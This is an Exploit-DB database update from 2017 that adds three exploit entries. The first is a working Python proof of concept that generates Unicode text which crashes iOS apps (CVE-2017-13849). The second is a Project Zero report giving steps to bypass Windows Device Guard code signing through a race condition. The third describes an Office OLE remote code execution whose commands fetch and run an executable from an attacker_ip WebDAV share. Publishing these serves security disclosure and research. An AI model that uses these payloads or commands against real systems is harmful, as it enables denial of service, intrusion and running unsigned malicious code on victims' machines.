DB: 2017-11-21

3 new exploits

iOS < 11.1 / tvOS < 11.1 / watchOS < 4.1 - Denial of Service

Microsoft Windows 10 - CiSetFileCache TOCTOU Security Feature Bypass

Microsoft Office - OLE Remote Code Execution

files.csv

@@ -5736,6 +5736,7 @@ id,file,description,date,author,platform,type,port
 43144,platforms/windows/dos/43144.txt,"PSFTPd Windows FTP Server 10.0.4 Build 729 - Log Injection / Use-After-Free",2017-11-14,"X41 D-Sec GmbH",windows,dos,0
 43152,platforms/windows/dos/43152.js,"Microsoft Edge Chakra JIT - Type Confusion with switch Statements",2017-11-16,"Google Security Research",windows,dos,0
 43154,platforms/windows/dos/43154.js,"Microsoft Edge Chakra: JIT - 'OP_Memset' Type Confusion",2017-11-16,"Google Security Research",windows,dos,0
+43161,platforms/ios/dos/43161.py,"iOS < 11.1 / tvOS < 11.1 / watchOS < 4.1 - Denial of Service",2017-11-20,"Russian Otter",ios,dos,0
 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@@ -9335,6 +9336,7 @@ id,file,description,date,author,platform,type,port
 43134,platforms/windows/local/43134.c,"Symantec Endpoint Protection 12.1 - Tamper-Protection Bypass",2017-11-10,hyp3rlinx,windows,local,0
 43139,platforms/windows/local/43139.c,"IKARUS anti.virus 2.16.7 - 'ntguard_x64' Privilege Escalation",2017-11-13,"Parvez Anwar",windows,local,0
 43156,platforms/windows/local/43156.py,"VX Search 10.2.14 - 'Proxy' Buffer Overflow (SEH)",2017-11-16,wetw0rk,windows,local,0
+43162,platforms/windows/local/43162.txt,"Microsoft Windows 10 - CiSetFileCache TOCTOU Security Feature Bypass",2017-11-20,"Google Security Research",windows,local,0
 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote",2003-03-23,kralor,windows,remote,80
 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
 5,platforms/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote",2003-04-03,"Marcin Wolak",windows,remote,139
@@ -15963,6 +15965,7 @@ id,file,description,date,author,platform,type,port
 43143,platforms/linux_mips/remote/43143.rb,"D-Link DIR-850L - Unauthenticated OS Command Execution (Metasploit)",2017-11-14,Metasploit,linux_mips,remote,0
 43145,platforms/windows/remote/43145.py,"Dup Scout Enterprise 10.0.18 - 'Login' Buffer Overflow",2017-11-14,sickness,windows,remote,80
 42886,platforms/windows/remote/42886.py,"Sync Breeze Enterprise 10.1.16 - 'POST' Buffer Overflow",2017-10-20,mschenk,windows,remote,0
+43163,platforms/windows/remote/43163.txt,"Microsoft Office - OLE Remote Code Execution",2017-11-20,embedi,windows,remote,0
 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
 13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0

platforms/ios/dos/43161.py

@@ -0,0 +1,79 @@
+# Exploit Title: TpwnT - iOS Denail of Service POC
+# Date: 10-31-2017
+# Exploit Author: Russian Otter (Ro)
+# Vendor Homepage: https://support.apple.com/en-us/HT208222
+# Version: 2.1
+# Tested on: iOS 10.3.2 - 11.1
+# CVE: CVE-2017-13849
+
+"""
+-------------------------
+     CVE-2017-13849
+  TpwnT by Ro of SavSec
+-------------------------
+
+Description:
+	Thread Pwning Text (TpwnT) is maliciously crafted text that affects the iPhone and other Apple devices by exploiting a vulnerability found in the Core-Text firmware which results in a thread crash or extreme application lag!
+
+Recorded Tests / Results:
+	Signal version 2.14.1 on iOS 10.3.2 (fixed on 2.15.3) users were able to crash conversations by sending the payload which would result in the app crashing when the selected chat was opened.
+	
+	Instagram version 10.25 (fixed on 10.31) on iOS 10.3.2 and resulting in chat thread crashes when the payload was sent which disallowed users to load chat or send messages. When the payload was unsent the chat was fuctional.
+	
+	Pythonista 3 on iOS 10.3.2, crashed when displaying multiple sets of TpwnT or while rotating the device.
+	
+Summary:
+	When displaying the TpwnT Characters on iOS < 11.1 the iPhone may lag intensely or crash on certain apps!
+	This allows for the possibility of DoS related attacks or application crashing attacks.
+
+Creator: @Russian_Otter (Ro)
+Discovery: 7-17-2017
+Disclosure: 10-31-2017
+Disclosure Page: https://support.apple.com/en-us/HT208222
+
+Affected Devices
+	iPhone 5S iOS < 11.1
+	iPhone 6 & 6S iOS < 11.1
+	iPhone 7 iOS < 11.1
+	iPhone 8 iOS < 11.1
+	iPhone X iOS < 11.1
+	Apple TV 4th Generation
+	Apple TV 4K 4th Generation
+	iPod Touch 6th Generation
+	iPad Air
+	watchOS < 4.1
+	tvOS < 11.1
+	iOS < 11.1
+
+Tested Devices:
+	iPhone 5S iOS 10.3.2 - 11.1
+	iPhone 6S iOS 10.3.1 - 11.1
+	iPad Mini 2 iOS 10.3.2
+	Apple TV 2 tvOS 10
+
+Tested Apps:
+	Signal
+	Instagram
+	Snapchat
+	Safari
+	Tanktastic
+	Pythonista 3
+	Notepad
+
+"""
+
+tpwnt = "880 881 883 887 888 975 1159 1275 1276 1277 1278 1302 1304 1305 1306 1311 1313 1314 1316 1317 1318 1319 1322 1323 1324 1325 1326 1327 1328 1543 2304 2405 3073 3559 3585 3586 4091 4183 4184 4353 6366 6798 7679 7680 7837 7930 7932 7933 7934 7935 7936 8343 8344 8345 8346 8347 8348 8349 8376 8381 8382 8383 8384 8524 9136 9169 10215 10216 11153 11374 11377 11381 11390 11392 11746 11747 11748 11749 11750 11751 11752 11753 11754 11755 11756 11757 11758 11759 11760 11761 11762 11763 11764 11765 11766 11767 11768 11769 11771 11772 11773 11774 11775 11776 11811 11813 11814 12295 12344 12357 12686 19971 19975 42560 42562 42563 42564 42565 42566 42567 42568 42569 42570 42571 42572 42573 42574 42575 42576 42577 42578 42579 42580 42581 42583 42584 42585 42587 42588 42589 42590 42591 42592 42594 42595 42596 42597 42598 42599 42600 42601 42602 42603 42604 42605 42606 42608 42609 42610 42611 42612 42613 42614 42615 42616 42617 42619 42620 42621 42622 42623 42624 42625 42627 42628 42629 42630 42632 42633 42634".split()
+
+payload = ""
+for i in tpwnt:
+	s = unichr(int(i))
+	payload += s
+
+payload = bytes(payload)
+payload_unicode = unicode(payload)
+
+# Proof of Concept
+# iOS < 11.1 Devices that display these characters should experience lag or crashes while TpwnT is visible
+
+if raw_input("Show Payload [y/n] ") == "y":
+	print payload_unicode

platforms/windows/local/43162.txt

@@ -0,0 +1,57 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1332
+
+Windows: CiSetFileCache TOCTOU Security Feature Bypass
+Platform: Windows 10 10586/14393/10S not tested 8.1 Update 2 or Windows 7
+Class: Security Feature Bypass
+
+Summary:
+It’s possible to add a cached signing level to an unsigned file by exploiting a TOCTOU in CI leading to to circumventing Device Guard policies and possibly PPL signing levels.
+
+Description:
+
+Windows Code Integrity has the concept of caching signing level decisions made on individual files. This is done by storing an extended attribute with the name $KERNEL.PURGE.ESBCACHE and filling it with related binary information. As the EA name is a kernel EA it means it can’t be set by user mode code, only kernel mode code calling FsRtlSetKernelEaFile. Also crucially it’s a purgeable EA which means it will be deleted automatically by the USN journal code if any attempt is made to write to the file after being set. 
+
+As far as I can tell the binary data doesn’t need to correspond to anything inside the file itself, so if we replace the contents of the file with a valid cached signing level the kernel is entirely relying on the automatic purging of the kernel EA to prevent spoofing. To test that theory I copied the EA entry from a valid signed file onto an unsigned file with a non-kernel EA name then used a disk editor to modify the name offline. This worked when I rebooted the machine, so I was confident it could work if you could write the kernel EA entry. Of course if this was the only way to exploit it I wouldn’t be sending this report.
+
+As user mode code can’t directly set the kernel EA the facility to write the cache entry is exposed through ZwSetCachedSigningLevel(2). This takes a number of arguments, including flags, a list of associated file handles and the target handle to write the EA to. There seems to be 3 modes which are specified through the flags:
+
+Mode 1 - This is used by mscorsvw.exe and seems to be used for blessing NGEN binaries. Calling this requires the caller to be a PPL so I didn’t investigate this too much. I’m sure there’s probably race conditions in NGEN which could be exploited, or ways to run in a PPL if you’re admin. The advantage here is you don’t need to apply the cache to a signed file. This is what piqued my interesting in the first place.
+Mode 2 - Didn’t dig into this one TBH
+Mode 5 - This sets a cache on a signed file, the list of files must only have 1 entry and the handle must match the target file handle. This is the one we’ll be exploiting as it doesn’t require any privileges to call.
+
+Looking through the code inside the kernel the handles passed to ZwSetCachedSigningLevel are also passed as handles into CiSetFileCache which is slightly odd on the face of it. My first thought was you could race the handle lookup when ObReferenceObjectByHandle is called for the target handle and when the code is enumerating the list of handles. The time window would be short but it’s usually pretty easy to force the kernel to reuse a handle number. However it turns out in Mode 5 as the handle is verified to be equal the code just uses the looked up FILE_OBJECT from the target handle instead which removes this issue (I believe).
+
+So instead I looked at racing the writing of the cache EA with the signature verification. If you could rewrite the file between the kernel verifying the signature of the file and the writing of the kernel EA you could ensure your USN journal entries from the writes are flushed through before hand and so doesn’t cause the EA to be purged. The kernel code calls FsRtlKernelFsControlFile with FSCTL_WRITE_USN_CLOSE_RECORD to force this flush just before writing the EA so that should work. 
+
+The question is can you write to the file while you’re doing this? There’s no locking taking place on the file from what I could tell. There is a check for the target file being opened with FILE_SHARE_WRITE (the check for FileObject->SharedWrite) but that’s not the same as the file handle already being writable. So it looks like it’s possible to write to the file.
+
+The final question is whether there’s a time period between signature verification and applying the EA that we can exploit? Turns out CI maps the file as a read only section and calls HashKComputeImageHash to generate the hash once. The code then proceeds to lookup the hash inside a catalog (presumably unless the file has an embedded signature). Therefore there's a clear window of time between the validation and the setting of the kernel EA to write.
+
+The final piece of the puzzle is how to win that race reliably. The key is the validation against the catalog files. We can use an exclusive oplock to block the kernel opening the catalog file temporarily, which crucially happens after the target file has already been hashed. By choosing a catalog we know the kernel will check we can get a timing signal, modify the target file to be an unsigned, untrusted file then release the oplock and let the kernel complete the verification and writing of the cache. 
+
+Almost all files on a locked down system such as Win10S are Microsoft Platform signed and so end up in catalogs such as Microsoft-Windows-Client-Features-Package. This seems like a hot-path file which might always be opened by the kernel and so couldn’t be exploited for an oplock. However another useful feature now comes into play, the fact that there’s also an EA which can specify a hint name for the catalog the file is signed in. This is called $CI.CATALOGHINT and so isn’t a kernel EA which means we can set it. It contains a UTF8 encoded file name (without path information). Importantly while CI will check this catalog first, if it can’t find the hash in that catalog it continues searching everything else, so we can pick a non-hot-path catalog (such as Adobe’s Flash catalogs) which we can oplock on, do the write then release and the verification will find the correct real catalog instead.  I don’t think you need to do this, but it makes it considerably more convenient.
+
+Note that to exploit this you’d likely need executable code already running, but we already know there’s multiple DG bypasses and things like Office on Win10S can run macros. Or this could be used from shellcode as I can’t see any obvious limitation on exploiting this from a sandbox as long as you can write a file to an NTFS drive with the USN Change Journal enabled. Running this once would give you an executable or a DLL which bypasses the CI policies, so it could be used as a stage in an attack chain to get arbitrary code executing on a DG system.
+
+In theory it think this would also allow you to specify the signing level for an untrusted file which would allow the DLL to be loaded inside a PPL service so you could use this on a vanilla system to try and attack the kernel through PPL’s such as CSRSS as an administrator. I don’t know how long the cache is valid for, but it’s at least a day or two and might only get revoked if you update your system or replace the file.
+
+Proof of Concept:
+
+I’ve provided a PoC as a C# project. It will allow you to “cache sign” an arbitrary executable. If you want to test this on a locked down system such as Win10S you’ll need to sign the PoC (and the NtApitDotNet.dll assembly) so it’ll run. Or use it via one of my .NET based DG bypasses, in that case you can call the POC.Exploit.Run method directly. It copies notepad to a file, attempts to verify it but uses an oplock to rewrite the contents of the file with the untrusted file before it can set the kernel EA.
+
+1) Compile the C# project. It will need to grab the NtApiDotNet v1.0.8 package from NuGet to work.
+2) Execute the PoC passing the path to an unsigned file and to the output  “cache signed” file, e.g. poc unsigned.exe output.exe
+3) You should see it print the signing level, if successful.
+4) You should not be able to execute the unsigned file, bypassing the security policy enforcement.
+
+NOTE: If it prints an exception then the exploit failed. The opened catalog files seemed to be cached for some unknown period of time after use so if the catalog file I’m using for a timing signal is already open then the oplock is never broken. Wait a period of time and try again. Also the output file must be on to a NTFS volume with the USN Change Journal enabled as that’s relied upon by the signature level cache code. Best to do it to the boot drive as that ensures everything should work correctly.
+
+Expected Result:
+Access denied or at least an error setting the cached signing level.
+
+Observed Result:
+The signing level cache is applied to the file with no further verification. You can now execute the file as if it was signed with valid Microsoft signature.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/43162.zip

platforms/windows/remote/43163.txt

@@ -0,0 +1,32 @@
+Source: https://github.com/embedi/CVE-2017-11882
+
+CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
+
+MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
+
+Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
+
+Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
+
+DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
+
+webdav_exec CVE-2017-11882
+
+A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.
+
+The first command which triggers WebClient service start may look like this:
+
+cmd.exe /c start \\attacker_ip\ff
+Attacker controlled binary path should be a UNC network path:
+
+\\attacker_ip\ff\1.exe
+Usage
+
+webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
+Sample exploit for CVE-2017-11882 (starting calc.exe as payload)
+
+example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/43163.zip